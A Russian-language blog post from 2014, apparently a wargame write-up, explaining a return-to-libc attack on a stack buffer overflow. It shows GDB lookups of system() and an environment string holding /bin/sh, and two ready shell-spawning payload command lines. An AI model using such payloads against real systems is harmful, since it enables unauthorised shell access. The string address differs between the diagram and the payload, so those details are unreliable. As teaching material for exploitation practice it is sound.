вторник, 7 октября 2014 г.

Return to Libc на примере одного Wargame

Опишу простейший вариант данного типа атак.
В первую очередь уязвимый код : (пример взят из IO smashthestack)

Ошибка здесь очевидна - отсутствует проверка размера копируемых данных.
Получаем ROP, но возникает вопрос, куда делать возврат? Стек с нашими данными вполне может быть неисполняемым. В такой ситуации можно использовать Return to Libc.

Итак, для того чтобы осуществить атаку, нам необходимо знать следующие вещи :
  • Адрес функции System из библиотеки Libc
  • Адрес строки, которую передадим System в качестве параметра
Небольшое отступление, так как сейчас мы рассматриваем самый простой вариант данной атаки, то сделаем предположение о базовых адресах загрузки библиотек для уязвимого приложения - а именно о том, что они остаются постоянными при перезапусках.

Начнем по порядку.
Адрес функции можно получить загрузив приложение в отладчик (в данном случае GDB) 
(gdb) p system
$5 = {<text variable, no debug info>} 0xb7eaaf10 <system>
Со строкой все немного сложнее. В качестве строки-параметра System будем использовать переменную окружения. Определить переменную окружения можно например так :
export OWN_SHELL=/bin/sh
Программа сохраняет указатель на окружение в глобальной переменной environ.
(gdb) info variable environ
All variables matching regular expression "environ":

Non-debugging symbols:
0xb7fd0d64  __environ
0xb7fd0d64  _environ
0xb7fd0d64  environ
В данном случае, строка содержащая нужную нам команду является первой в массиве переменных окружения.
(gdb) x /s *environ
0xbffffe82:     "OWN_SHELL=/bin/sh"
В итоге получаем следующее
|---------------------------|-------------------|---------------|---------------| 
|          Data             |    0xb7eaaf10     | system-return |  0xbffffe8с   | 
|---------------------------|-------------------|---------------|---------------| 
Далее просто подбираем размер входного буфера, которого будет достаточно для перезаписи адреса возврата.
В результате получим такую строку для запуска приложения :
vuln `python -c 'print "a"*140 + "\x10\xaf\xea\xb7"+"\xDE\xAD\xBE\xAF"+"\x86\xfe\xff\xbf"'`
Для того, чтобы каждый раз при запуске не происходил segmentation fault можно создать нормальный
call-stack вручную, определив адрес возврата из System в Exit.
vuln `python -c 'print "a"*140 + "\x10\xaf\xea\xb7"+"\x50\xe5\xe9\xb7"+"\x86\xfe\xff\xbf"'`

Комментариев нет:

Отправить комментарий